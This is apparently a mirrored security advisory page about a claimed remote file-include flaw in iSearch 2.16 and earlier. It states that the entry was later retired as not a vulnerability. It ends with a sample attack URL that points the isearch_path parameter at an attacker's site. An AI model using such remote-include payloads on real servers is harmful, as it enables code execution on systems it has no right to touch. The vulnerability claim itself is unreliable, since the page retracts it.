11 lines
No EOL
624 B
Text
11 lines
No EOL
624 B
Text
source: http://www.securityfocus.com/bid/20401/info
|
|
|
|
iSearch is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.
|
|
|
|
An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
|
|
|
|
iSearch 2.16 and prior versions are reported affected.
|
|
|
|
Update: This BID is retired; further information has revealed that this is not a vulnerability.
|
|
|
|
htpp://www.example.com/[scerpitPath]/index.php?isearch_path=http://attacker's site |